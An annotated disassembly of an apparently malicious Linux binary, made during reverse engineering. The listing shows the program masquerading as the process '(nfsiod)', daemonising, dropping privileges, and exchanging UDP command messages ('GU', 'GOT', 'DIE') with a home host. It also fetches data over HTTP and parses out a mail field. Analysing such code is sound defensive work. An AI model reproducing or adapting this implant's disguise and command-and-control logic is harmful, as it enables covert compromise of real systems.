Annotated disassembly of foo

This is my annotated copy of 'tmp2', a file generated during the reverse engineering process. It is hyperlinked to what I believe to be the equivalent C code in appropriate places (namely the top of functions, and at function calls).

08048090: pop    %ecx
08048091: mov    %esp,%ebx
08048093: mov    %esp,%eax
08048095: mov    %ecx,%edx
08048097: add    %edx,%edx
08048099: add    %edx,%edx
0804809b: add    %edx,%eax
0804809d: add    $0x4,%eax
080480a0: xor    %ebp,%ebp
080480a2: push   %ebp
080480a3: push   %ebp
080480a4: push   %ebp
080480a5: mov    %esp,%ebp
080480a7: push   %eax
080480a8: push   %ebx
080480a9: push   %ecx
080480aa: mov    $0x88,%eax
080480af: mov    $0x0,%ebx
080480b4: int    $0x80
080480b6: mov    0x8(%esp,1),%eax
# Possible reference to data ''
080480ba: mov    %eax,0x807ad80
# Possible reference to data ''
080480bf: movzwl 0x807b2f0,%eax
080480c6: push   %eax
080480c7: call   0x08064818 <__setfpucw>
080480cc: add    $0x4,%esp
080480cf: call   0x08064040 <__libc_init>
080480d4: push   $0x8074a40
080480d9: call   0x0805599c <atexit>
080480de: add    $0x4,%esp
080480e1: call   0x08048080
080480e6: call   0x08048134 <main>
080480eb: push   %eax
080480ec: call   0x08055a50 <exit>
080480f1: pop    %ebx
080480f2: lea    0x0(%esi,1),%esi
080480f9: lea    0x0(%esi,1),%esi
08048100: mov    $0x1,%eax
08048105: int    $0x80
08048107: jmp    0x08048100
08048109: lea    0x0(%esi,1),%esi
08048110: push   %ebx
08048111: mov    $0x807ba84,%ebx
08048116: cmpl   $0x0,0x807ba84
0804811d: je     0x0804812c
0804811f: nop
08048120: mov    (%ebx),%eax
08048122: call   *%eax
08048124: add    $0x4,%ebx
08048127: cmpl   $0x0,(%ebx)
0804812a: jne    0x08048120
0804812c: pop    %ebx
0804812d: ret
0804812e: lea    (%esi),%esi
08048130: ret
08048131: nop
08048132: nop
08048133: nop

# 08048134 <main>:
08048134: push   %ebp
08048135: mov    %esp,%ebp
08048137: sub    $0x7534,%esp
0804813d: movl   $0x0,-0x4(%ebp)
08048144: push   $0x7530
08048149: push   $0x0
0804814b: lea    -0x7534(%ebp),%eax
08048151: push   %eax
08048152: call   0x08064a84 <memset>
08048157: add    $0xc,%esp
0804815a: mov    0xc(%ebp),%eax
0804815d: mov    (%eax),%edx
0804815f: push   %edx
08048160: call   0x08064e30 <strlen>
08048165: add    $0x4,%esp
08048168: mov    %eax,%eax
0804816a: push   %eax
0804816b: push   $0x0
0804816d: mov    0xc(%ebp),%eax
08048170: mov    (%eax),%edx
08048172: push   %edx
08048173: call   0x08064a84 <memset>
08048178: add    $0xc,%esp
# Possible reference to rodata '(nfsiod)'
0804817b: push   $0x8074a48
08048180: mov    0xc(%ebp),%eax
08048183: mov    (%eax),%edx
08048185: push   %edx
08048186: call   0x08063aa8 <strcpy>
0804818b: add    $0x8,%esp
0804818e: push   $0x1
08048190: push   $0x11
08048192: call   0x08063e5c <signal>
08048197: add    $0x8,%esp
0804819a: call   0x080644b8 <__libc_fork>
0804819f: mov    %eax,%eax
080481a1: test   %eax,%eax
080481a3: je     0x080481b0
080481a5: push   $0x0
080481a7: call   0x08055a50 <exit>
080481ac: add    $0x4,%esp
080481af: nop
080481b0: call   0x080645e8 <__libc_setsid>

080481b5: push   $0x1
080481b7: push   $0x11
080481b9: call   0x08063e5c <signal>
080481be: add    $0x8,%esp
080481c1: push   $0x1
080481c3: call   0x0806460c <__libc_setuid>
080481c8: add    $0x4,%esp
080481cb: push   $0x1
080481cd: call   0x08063e24 <seteuid>
080481d2: add    $0x4,%esp
080481d5: call   0x080644b8 <__libc_fork>
080481da: mov    %eax,%eax
080481dc: test   %eax,%eax
080481de: je     0x080481ec
080481e0: push   $0x0
080481e2: call   0x08055a50 <exit>
080481e7: add    $0x4,%esp
080481ea: lea    (%esi),%esi
080481ec: push   $0x1
080481ee: push   $0xd
080481f0: call   0x08063e5c <signal>
080481f5: add    $0x8,%esp
# Possible reference to rodata '/'
080481f8: push   $0x8074a51
080481fd: call   0x08064430 <__libc_chdir>
08048202: add    $0x4,%esp
08048205: push   $0x1
08048207: push   $0x11
08048209: call   0x08063e5c <signal>
0804820e: add    $0x8,%esp
08048211: jmp    0x08048218
08048213: nop
08048214: jmp    0x08048254
08048216: lea    (%esi),%esi
08048218: lea    -0x7534(%ebp),%eax
0804821e: push   %eax
0804821f: mov    -0x4(%ebp),%eax
08048222: push   %eax
08048223: call   0x0804841c <func6>
08048228: add    $0x8,%esp
0804822b: mov    %eax,%eax
0804822d: mov    %eax,-0x4(%ebp)
08048230: push   $0x7530
08048235: lea    -0x7534(%ebp),%eax
0804823b: push   %eax
0804823c: mov    -0x4(%ebp),%eax
0804823f: push   %eax
08048240: call   0x08048670 <func7>
08048245: add    $0xc,%esp
08048248: push   $0x1
0804824a: call   0x08055844 <sleep>
0804824f: add    $0x4,%esp
08048252: jmp    0x08048211
08048254: mov    %ebp,%esp
08048256: pop    %ebp
08048257: ret

# 08048258 <get_ip_num>:
08048258: push   %ebp
08048259: mov    %esp,%ebp
0804825b: sub    $0x8,%esp
0804825e: mov    0x8(%ebp),%eax
08048261: push   %eax
08048262: call   0x0804b4d8 <inet_addr>
08048267: add    $0x4,%esp
0804826a: mov    %eax,%eax
0804826c: mov    %eax,%edx
0804826e: mov    %edx,-0x4(%ebp)
08048271: cmp    $-0x1,%edx
08048274: jne    0x080482af
08048276: mov    0x8(%ebp),%eax
08048279: push   %eax
0804827a: call   0x0804a5cc <gethostbyname>
0804827f: add    $0x4,%esp
08048282: mov    %eax,%eax
08048284: mov    %eax,-0x8(%ebp)
08048287: cmpl   $0x0,-0x8(%ebp)
0804828b: jne    0x08048298
0804828d: push   $0x0
0804828f: call   0x08055a50 <exit>
08048294: add    $0x4,%esp
08048297: nop
08048298: push   $0x4
0804829a: lea    -0x4(%ebp),%eax
0804829d: push   %eax
0804829e: mov    -0x8(%ebp),%eax
080482a1: mov    0x10(%eax),%edx
080482a4: mov    (%edx),%eax
080482a6: push   %eax
080482a7: call   0x080638e8 <bcopy>
080482ac: add    $0xc,%esp
080482af: mov    -0x4(%ebp),%eax
080482b2: jmp    0x080482b4
080482b4: mov    %ebp,%esp
080482b6: pop    %ebp
080482b7: ret

# 080482b8 <open_udp>:
080482b8: push   %ebp
080482b9: mov    %esp,%ebp
080482bb: sub    $0x4,%esp
080482be: push   $0x11
080482c0: push   $0x2
080482c2: push   $0x2
080482c4: call   0x08063ff0 <socket>
080482c9: add    $0xc,%esp
080482cc: mov    %eax,%eax
080482ce: mov    %eax,-0x4(%ebp)
080482d1: cmpl   $0x0,-0x4(%ebp)
080482d5: jne    0x080482e4
080482d7: push   $0x0
080482d9: call   0x08055a50 <exit>
080482de: add    $0x4,%esp
080482e1: lea    0x0(%esi),%esi
080482e4: push   $0x800
080482e9: push   $0x4
080482eb: mov    -0x4(%ebp),%eax
080482ee: push   %eax
080482ef: call   0x08064488 <__libc_fcntl>
080482f4: add    $0xc,%esp
080482f7: mov    -0x4(%ebp),%eax
080482fa: jmp    0x080482fc
080482fc: mov    %ebp,%esp
080482fe: pop    %ebp
080482ff: ret

# 08048300 <close_socket>:
08048300: push   %ebp
08048301: mov    %esp,%ebp
08048303: mov    0x8(%ebp),%eax
08048306: push   %eax
08048307: call   0x0806445c <__libc_close>
0804830c: add    $0x4,%esp
0804830f: xor    %eax,%eax
08048311: jmp    0x08048314
08048313: nop
08048314: mov    %ebp,%esp
08048316: pop    %ebp
08048317: ret

# 08048318 <send_msg_home>:
08048318: push   %ebp
08048319: mov    %esp,%ebp
0804831b: sub    $0x10,%esp
0804831e: cmpl   $0x0,0x8(%ebp)
08048322: je     0x0804837c
08048324: push   $0x10
08048326: lea    -0x10(%ebp),%eax
08048329: push   %eax
0804832a: call   0x08064894 <bzero>
0804832f: add    $0x8,%esp
# Possible reference to rodata ''
08048332: push   $0x8074a53
08048337: call   0x08048258 <get_ip_num>
0804833c: add    $0x4,%esp
0804833f: mov    %eax,%eax
08048341: mov    %eax,-0xc(%ebp)
08048344: movw   $0x2,-0x10(%ebp)
0804834a: movw   $0xa5d0,-0xe(%ebp)
08048350: push   $0x10
08048352: lea    -0x10(%ebp),%eax
08048355: push   %eax
08048356: push   $0x0
08048358: mov    0x10(%ebp),%eax
0804835b: push   %eax
0804835c: mov    0xc(%ebp),%eax
0804835f: push   %eax
08048360: mov    0x8(%ebp),%eax
08048363: push   %eax
08048364: call   0x08063f90 <sendto>
08048369: add    $0x18,%esp
0804836c: mov    %eax,%eax
0804836e: test   %eax,%eax
08048370: jge    0x0804837c
08048372: push   $0x0
08048374: call   0x08055a50 <exit>
08048379: add    $0x4,%esp
0804837c: xor    %eax,%eax
0804837e: jmp    0x08048380
08048380: mov    %ebp,%esp
08048382: pop    %ebp
08048383: ret

# 08048384 <recv_msg_from_home>:
08048384: push   %ebp
08048385: mov    %esp,%ebp
08048387: sub    $0x18,%esp
0804838a: movl   $0x10,-0x14(%ebp)
08048391: movl   $0x0,-0x18(%ebp)
08048398: mov    0x10(%ebp),%eax
0804839b: push   %eax
0804839c: mov    0xc(%ebp),%eax
0804839f: push   %eax
080483a0: call   0x08064894 <bzero>
080483a5: add    $0x8,%esp
080483a8: cmpl   $0x0,0x8(%ebp)
080483ac: je     0x08048414
080483ae: push   $0x10
080483b0: lea    -0x10(%ebp),%eax
080483b3: push   %eax
080483b4: call   0x08064894 <bzero>
080483b9: add    $0x8,%esp
# Possible reference to rodata ''
080483bc: push   $0x8074a53
080483c1: call   0x08048258 <get_ip_num>
080483c6: add    $0x4,%esp
080483c9: mov    %eax,%eax
080483cb: mov    %eax,-0xc(%ebp)
080483ce: movw   $0x2,-0x10(%ebp)
080483d4: movw   $0xa5d0,-0xe(%ebp)
080483da: lea    -0x14(%ebp),%eax
080483dd: push   %eax
080483de: lea    -0x10(%ebp),%eax
080483e1: push   %eax
080483e2: push   $0x0
080483e4: mov    0x10(%ebp),%eax
080483e7: push   %eax
080483e8: mov    0xc(%ebp),%eax
080483eb: push   %eax
080483ec: mov    0x8(%ebp),%eax
080483ef: push   %eax
080483f0: call   0x08063ee4 <recvfrom>
080483f5: add    $0x18,%esp
080483f8: mov    %eax,%eax
080483fa: mov    %eax,-0x18(%ebp)
080483fd: cmpl   $0x0,-0x18(%ebp)
08048401: jge    0x0804840c
08048403: xor    %eax,%eax
08048405: jmp    0x08048418
08048407: nop
08048408: jmp    0x08048414
0804840a: lea    (%esi),%esi
0804840c: mov    $0x1,%eax
08048411: jmp    0x08048418
08048413: nop
08048414: xor    %eax,%eax
08048416: jmp    0x08048418
08048418: mov    %ebp,%esp
0804841a: pop    %ebp
0804841b: ret

# 0804841c <func6>:
0804841c: push   %ebp
0804841d: mov    %esp,%ebp
0804841f: sub    $0x40c,%esp
08048425: movl   $0x1,-0xc(%ebp)
# Possible reference to data ''
0804842c: mov    0x807ad84,%eax
08048431: add    $0x62,%eax
08048434: cmp    %eax,0x8(%ebp)
08048437: ja     0x08048448
# Possible reference to data ''
08048439: cmpl   $0x0,0x807ad84
08048440: jne    0x08048664
08048446: jmp    0x08048448
08048448: call   0x080482b8 <open_udp>
0804844d: mov    %eax,%eax
0804844f: mov    %eax,-0x4(%ebp)
08048452: mov    0xc(%ebp),%eax
08048455: push   %eax
08048456: call   0x08064e30 <strlen>
0804845b: add    $0x4,%esp
0804845e: mov    %eax,%eax
08048460: cmp    $0x3,%eax
08048463: jbe    0x08048518
08048469: cmpl   $0x0,-0xc(%ebp)
0804846d: jne    0x08048474
0804846f: jmp    0x08048518
08048474: movl   $0x0,-0x8(%ebp)
0804847b: mov    0xc(%ebp),%eax
# Possible reference to data in bss
0804847e: add    0x8080f38,%eax
08048484: movb   $0x0,(%eax)
# Possible reference to data in bss
08048487: incl   0x8080f38
# Possible reference to data in bss
0804848d: mov    0x8080f38,%eax
08048492: push   %eax
08048493: mov    0xc(%ebp),%eax
08048496: push   %eax
08048497: mov    -0x4(%ebp),%eax
0804849a: push   %eax
0804849b: call   0x08048318 <send_msg_home>
080484a0: add    $0xc,%esp
080484a3: push   $0xa
080484a5: call   0x08055844 <sleep>
080484aa: add    $0x4,%esp
080484ad: incl   -0x8(%ebp)
080484b0: push   $0x3e8
080484b5: lea    -0x40c(%ebp),%eax
080484bb: push   %eax
080484bc: mov    -0x4(%ebp),%eax
080484bf: push   %eax
080484c0: call   0x08048384 <recv_msg_from_home>
080484c5: add    $0xc,%esp
080484c8: mov    %eax,%eax
080484ca: test   %eax,%eax
080484cc: jg     0x080484d8
080484ce: cmpl   $0xa,-0x8(%ebp)
080484d2: jle    0x080484dc
080484d4: jmp    0x080484d8
080484d6: lea    (%esi),%esi
080484d8: jmp    0x080484e0
080484da: lea    (%esi),%esi
080484dc: jmp    0x0804848d
080484de: lea    (%esi),%esi
080484e0: cmpl   $0xa,-0x8(%ebp)
080484e4: jle    0x080484f0
080484e6: push   $0x0
080484e8: call   0x08055a50 <exit>
080484ed: add    $0x4,%esp
080484f0: push   $0x3

# Possible reference to rodata 'GOT'
080484f2: push   $0x8074a61
080484f7: lea    -0x40c(%ebp),%eax
080484fd: push   %eax
080484fe: call   0x08064ef8 <strncmp>
08048503: add    $0xc,%esp
08048506: mov    %eax,%eax
08048508: test   %eax,%eax
0804850a: jne    0x08048513
0804850c: movl   $0x0,-0xc(%ebp)
08048513: jmp    0x08048469
08048518: nop
08048519: jmp    0x08048524
0804851b: nop
0804851c: jmp    0x0804865c
08048521: lea    0x0(%esi),%esi
08048524: movl   $0x0,-0x8(%ebp)
0804852b: push   $0x3
# Possible reference to rodata 'GU\n'
0804852d: push   $0x8074a65
08048532: mov    -0x4(%ebp),%eax
08048535: push   %eax
08048536: call   0x08048318 <send_msg_home>
0804853b: add    $0xc,%esp
0804853e: push   $0xa
08048540: call   0x08055844 <sleep>
08048545: add    $0x4,%esp
08048548: incl   -0x8(%ebp)
0804854b: push   $0x3e8
08048550: lea    -0x40c(%ebp),%eax
08048556: push   %eax
08048557: mov    -0x4(%ebp),%eax
0804855a: push   %eax
0804855b: call   0x08048384 <recv_msg_from_home>
08048560: add    $0xc,%esp
08048563: mov    %eax,%eax
08048565: test   %eax,%eax
08048567: jg     0x08048574
08048569: cmpl   $0xa,-0x8(%ebp)
0804856d: jle    0x08048578
0804856f: jmp    0x08048574
08048571: lea    0x0(%esi),%esi
08048574: jmp    0x0804857c
08048576: lea    (%esi),%esi
08048578: jmp    0x0804852b
0804857a: lea    (%esi),%esi
0804857c: cmpl   $0xa,-0x8(%ebp)
08048580: jle    0x08048598
08048582: mov    -0x4(%ebp),%eax
08048585: push   %eax
08048586: call   0x08048300 <close_socket>
0804858b: add    $0x4,%esp
0804858e: push   $0x0
08048590: call   0x08055a50 <exit>
08048595: add    $0x4,%esp
08048598: push   $0x3
# Possible reference to rodata 'DIE'
0804859a: push   $0x8074a69
0804859f: lea    -0x40c(%ebp),%eax
080485a5: push   %eax
080485a6: call   0x08064ef8 <strncmp>
080485ab: add    $0xc,%esp
080485ae: mov    %eax,%eax
080485b0: test   %eax,%eax
080485b2: jne    0x080485cc
080485b4: mov    -0x4(%ebp),%eax
080485b7: push   %eax
080485b8: call   0x08048300 <close_socket>
080485bd: add    $0x4,%esp
080485c0: push   $0x0
080485c2: call   0x08055a50 <exit>
080485c7: add    $0x4,%esp
080485ca: lea    (%esi),%esi
080485cc: push   $0x2
# Possible reference to rodata 'DU'
080485ce: push   $0x8074a6d
080485d3: lea    -0x40c(%ebp),%eax
080485d9: push   %eax
080485da: call   0x08064ef8 <strncmp>
080485df: add    $0xc,%esp
080485e2: mov    %eax,%eax
080485e4: test   %eax,%eax
080485e6: jne    0x08048654
# Possible reference to data ''
080485e8: push   $0x807ad84
# Possible reference to rodata '%lu'
080485ed: push   $0x8074a70
080485f2: lea    -0x40c(%ebp),%eax
080485f8: lea    0x2(%eax),%edx
080485fb: push   %edx
080485fc: call   0x0804de0c <_IO_sscanf>
08048601: add    $0xc,%esp
08048604: push   $0x7530
08048609: push   $0x0
0804860b: mov    0xc(%ebp),%eax
0804860e: push   %eax
0804860f: call   0x08064a84 <memset>
08048614: add    $0xc,%esp
# Possible reference to data ''
08048617: mov    0x807ad84,%eax
# Possible reference to rodata 'SE%lu\n'
0804861c: push   %eax
0804861d: push   $0x8074a74
08048622: mov    0xc(%ebp),%eax
08048625: push   %eax
08048626: call   0x0804ddf4 <_IO_sprintf>
0804862b: add    $0xc,%esp
0804862e: mov    0xc(%ebp),%eax
08048631: push   %eax
08048632: call   0x08064e30 <strlen>
08048637: add    $0x4,%esp
# Possible reference to data in bss
0804863a: mov    %eax,0x8080f38
0804863f: mov    -0x4(%ebp),%eax
08048642: push   %eax
08048643: call   0x08048300 <close_socket>
08048648: add    $0x4,%esp
# Possible reference to data ''
0804864b: mov    0x807ad84,%eax
08048650: jmp    0x0804866c
08048652: lea    (%esi),%esi
08048654: jmp    0x08048519
08048659: lea    0x0(%esi),%esi
0804865c: xor    %eax,%eax
0804865e: jmp    0x0804866c
08048660: jmp    0x0804866c
08048662: lea    (%esi),%esi
08048664: mov    0x8(%ebp),%edx
08048667: inc    %edx
08048668: mov    %edx,%eax
0804866a: jmp    0x0804866c
0804866c: mov    %ebp,%esp
0804866e: pop    %ebp
0804866f: ret

# 08048670 <func7>:
08048670: push   %ebp
08048671: mov    %esp,%ebp
08048673: sub    $0x428,%esp
08048679: movl   $0x1,-0x18(%ebp)
08048680: movl   $0x0,-0x20(%ebp)
08048687: movb   $0x20,-0x422(%ebp)
0804868e: movl   $0x0,-0x428(%ebp)
# Possible reference to rodata ''
08048698: push   $0x8074a7b
0804869d: call   0x08048258 <get_ip_num>
080486a2: add    $0x4,%esp
080486a5: mov    %eax,%eax
080486a7: mov    %eax,-0xc(%ebp)
080486aa: movw   $0x2,-0x10(%ebp)
080486b0: push   $0x50
080486b2: call   0x08064880 <__htons>
080486b7: add    $0x4,%esp
080486ba: mov    %eax,%eax
080486bc: mov    %ax,-0xe(%ebp)
080486c0: push   $0x6
080486c2: push   $0x1
080486c4: push   $0x2
080486c6: call   0x08063ff0 <socket>
080486cb: add    $0xc,%esp
080486ce: mov    %eax,%eax
080486d0: mov    %eax,-0x14(%ebp)
080486d3: push   $0x10
080486d5: lea    -0x10(%ebp),%eax
080486d8: push   %eax
080486d9: mov    -0x14(%ebp),%eax
080486dc: push   %eax
080486dd: call   0x08063e9c <connect>
080486e2: add    $0xc,%esp
080486e5: mov    %eax,%eax
080486e7: cmp    $-0x1,%eax
080486ea: jne    0x08048700
080486ec: mov    -0x14(%ebp),%eax
080486ef: push   %eax
080486f0: call   0x0806445c <__libc_close>
080486f5: add    $0x4,%esp
080486f8: xor    %eax,%eax
080486fa: jmp    0x080489a4
080486ff: nop
08048700: push   $0x1
08048702: call   0x08055844 <sleep>
08048707: add    $0x4,%esp
0804870a: push   $0x800
0804870f: push   $0x4
08048711: mov    -0x14(%ebp),%eax
08048714: push   %eax
08048715: call   0x08064488 <__libc_fcntl>
0804871a: add    $0xc,%esp
0804871d: mov    0x8(%ebp),%eax
08048720: push   %eax
# Possible reference to rodata 
# 'GET /wwp?Uin=%lu HTTP/1.0\nHost:\n\n'
08048721: push   $0x8074a87
08048726: lea    -0x420(%ebp),%eax
0804872c: push   %eax
0804872d: call   0x0804ddf4 <_IO_sprintf>
08048732: add    $0xc,%esp
08048735: push   $0x0
08048737: lea    -0x420(%ebp),%eax
0804873d: push   %eax
0804873e: call   0x08064e30 <strlen>
08048743: add    $0x4,%esp
08048746: mov    %eax,%eax
08048748: push   %eax
08048749: lea    -0x420(%ebp),%eax
0804874f: push   %eax
08048750: mov    -0x14(%ebp),%eax
08048753: push   %eax
08048754: call   0x08063f44 <send>
08048759: add    $0x10,%esp
0804875c: push   $0x0
0804875e: call   0x080646f0 <__libc_time>
08048763: add    $0x4,%esp
08048766: mov    %eax,-0x428(%ebp)
0804876c: cmpl   $0x0,-0x18(%ebp)
08048770: jne    0x08048778
08048772: jmp    0x08048994
08048777: nop
08048778: push   $0x0
0804877a: call   0x080646f0 <__libc_time>
0804877f: add    $0x4,%esp
08048782: mov    %eax,%eax
08048784: mov    %eax,%edx
08048786: sub    -0x428(%ebp),%edx
0804878c: cmp    $0x19,%edx
0804878f: jbe    0x08048798
08048791: movl   $0x0,-0x18(%ebp)
08048798: mov    -0x14(%ebp),%eax
0804879b: push   %eax
0804879c: call   0x080489a8 <func8>
080487a1: add    $0x4,%esp
080487a4: mov    %eax,%eax
080487a6: test   %eax,%eax
080487a8: je     0x0804898e
080487ae: push   $0x1
080487b0: lea    -0x421(%ebp),%eax
080487b6: push   %eax
080487b7: mov    -0x14(%ebp),%eax
080487ba: push   %eax
080487bb: call   0x0806458c <__libc_read>
080487c0: add    $0xc,%esp
080487c3: mov    %eax,%eax
080487c5: mov    %eax,-0x1c(%ebp)
080487c8: cmpl   $0x1,-0x1c(%ebp)
080487cc: jne    0x080487ec
080487ce: cmpl   $0x0,-0x20(%ebp)
080487d2: jne    0x080487ec
080487d4: cmpb   $0x22,-0x421(%ebp)
080487db: jne    0x080487e4
080487dd: movl   $0x1,-0x20(%ebp)
080487e4: jmp    0x0804897c
080487e9: lea    0x0(%esi),%esi
080487ec: cmpl   $0x1,-0x1c(%ebp)
080487f0: jne    0x080488f0
080487f6: cmpl   $0x1,-0x20(%ebp)
080487fa: jne    0x080488f0
08048800: movzbl -0x422(%ebp),%eax
08048807: cmp    $0x6c,%eax
0804880a: je     0x080488ac
08048810: cmp    $0x6c,%eax
08048813: jg     0x08048838
08048815: cmp    $0x61,%eax
08048818: je     0x08048884
0804881a: cmp    $0x61,%eax
0804881d: jg     0x0804882c
0804881f: cmp    $0x22,%eax
08048822: je     0x0804885c
08048824: jmp    0x080488e8
08048829: lea    0x0(%esi),%esi
0804882c: cmp    $0x69,%eax
0804882f: je     0x08048898
08048831: jmp    0x080488e8
08048836: lea    (%esi),%esi
08048838: cmp    $0x6f,%eax
0804883b: je     0x080488d4
08048841: cmp    $0x6f,%eax
08048844: jg     0x08048850
08048846: cmp    $0x6d,%eax
08048849: je     0x08048870
0804884b: jmp    0x080488e8
08048850: cmp    $0x74,%eax
08048853: je     0x080488c0
08048855: jmp    0x080488e8
0804885a: lea    (%esi),%esi
0804885c: cmpb   $0x6d,-0x421(%ebp)
08048863: je     0x0804886c
08048865: movl   $0x0,-0x20(%ebp)
0804886c: jmp    0x080488e8
0804886e: lea    (%esi),%esi
08048870: cmpb   $0x61,-0x421(%ebp)
08048877: je     0x08048880
08048879: movl   $0x0,-0x20(%ebp)
08048880: jmp    0x080488e8
08048882: lea    (%esi),%esi
08048884: cmpb   $0x69,-0x421(%ebp)
0804888b: je     0x08048894
0804888d: movl   $0x0,-0x20(%ebp)
08048894: jmp    0x080488e8
08048896: lea    (%esi),%esi
08048898: cmpb   $0x6c,-0x421(%ebp)
0804889f: je     0x080488a8
080488a1: movl   $0x0,-0x20(%ebp)
080488a8: jmp    0x080488e8
080488aa: lea    (%esi),%esi
080488ac: cmpb   $0x74,-0x421(%ebp)
080488b3: je     0x080488bc
080488b5: movl   $0x0,-0x20(%ebp)
080488bc: jmp    0x080488e8
080488be: lea    (%esi),%esi
080488c0: cmpb   $0x6f,-0x421(%ebp)
080488c7: je     0x080488d0
080488c9: movl   $0x0,-0x20(%ebp)
080488d0: jmp    0x080488e8
080488d2: lea    (%esi),%esi
080488d4: cmpb   $0x3a,-0x421(%ebp)
080488db: jne    0x080488e4
080488dd: movl   $0x2,-0x20(%ebp)
080488e4: jmp    0x080488e8
080488e6: lea    (%esi),%esi
080488e8: jmp    0x0804897c
080488ed: lea    0x0(%esi),%esi
080488f0: cmpl   $0x1,-0x1c(%ebp)
080488f4: jne    0x0804897c
080488fa: cmpl   $0x2,-0x20(%ebp)
080488fe: jne    0x0804897c
08048900: cmpb   $0x22,-0x421(%ebp)
08048907: je     0x08048944
08048909: mov    0x10(%ebp),%eax
0804890c: dec    %eax
# Possible reference to data in bss
0804890d: cmp    %eax,0x8080f38
08048913: jge    0x08048944
08048915: movzbl -0x421(%ebp),%eax
0804891c: push   %eax
0804891d: call   0x08048a90 <isprint>
08048922: add    $0x4,%esp
08048925: mov    %eax,%eax
08048927: test   %eax,%eax
08048929: je     0x08048942
0804892b: mov    0xc(%ebp),%eax
# Possible reference to data in bss
0804892e: add    0x8080f38,%eax
08048934: mov    -0x421(%ebp),%dl
0804893a: mov    %dl,(%eax)
# Possible reference to data in bss
0804893c: incl   0x8080f38
08048942: jmp    0x0804897c
08048944: mov    0x10(%ebp),%eax
08048947: dec    %eax
# Possible reference to data in bss
08048948: cmp    %eax,0x8080f38
0804894e: jge    0x08048962
08048950: mov    0xc(%ebp),%eax
# Possible reference to data in bss
08048953: add    0x8080f38,%eax
08048959: movb   $0xa,(%eax)
# Possible reference to data in bss
0804895c: incl   0x8080f38
08048962: mov    -0x14(%ebp),%eax
08048965: push   %eax
08048966: call   0x0806445c <__libc_close>
0804896b: add    $0x4,%esp
0804896e: push   $0x1
08048970: call   0x08055844 <sleep>
08048975: add    $0x4,%esp
08048978: xor    %eax,%eax
0804897a: jmp    0x080489a4
0804897c: cmpl   $0x1,-0x1c(%ebp)
08048980: jne    0x0804898e
08048982: mov    -0x421(%ebp),%al
08048988: mov    %al,-0x422(%ebp)
0804898e: jmp    0x0804876c
08048993: nop
08048994: mov    -0x14(%ebp),%eax
08048997: push   %eax
08048998: call   0x0806445c <__libc_close>
0804899d: add    $0x4,%esp
080489a0: xor    %eax,%eax
080489a2: jmp    0x080489a4
080489a4: mov    %ebp,%esp
080489a6: pop    %ebp
080489a7: ret

# 080489a8 <func8>:
080489a8: push   %ebp
080489a9: mov    %esp,%ebp
080489ab: sub    $0x4,%esp
080489ae: lea    -0x4(%ebp),%eax
080489b1: push   %eax
080489b2: push   $0x541b
080489b7: mov    0x8(%ebp),%eax
080489ba: push   %eax
080489bb: call   0x0806452c <__libc_ioctl>
080489c0: add    $0xc,%esp
080489c3: mov    %eax,%eax
080489c5: cmp    $-0x1,%eax
080489c8: jne    0x080489d4
080489ca: mov    $-0x1,%eax
080489cf: jmp    0x080489dc
080489d1: lea    0x0(%esi),%esi
080489d4: mov    -0x4(%ebp),%eax
080489d7: jmp    0x080489dc
080489d9: lea    0x0(%esi),%esi
080489dc: mov    %ebp,%esp
080489de: pop    %ebp
080489df: ret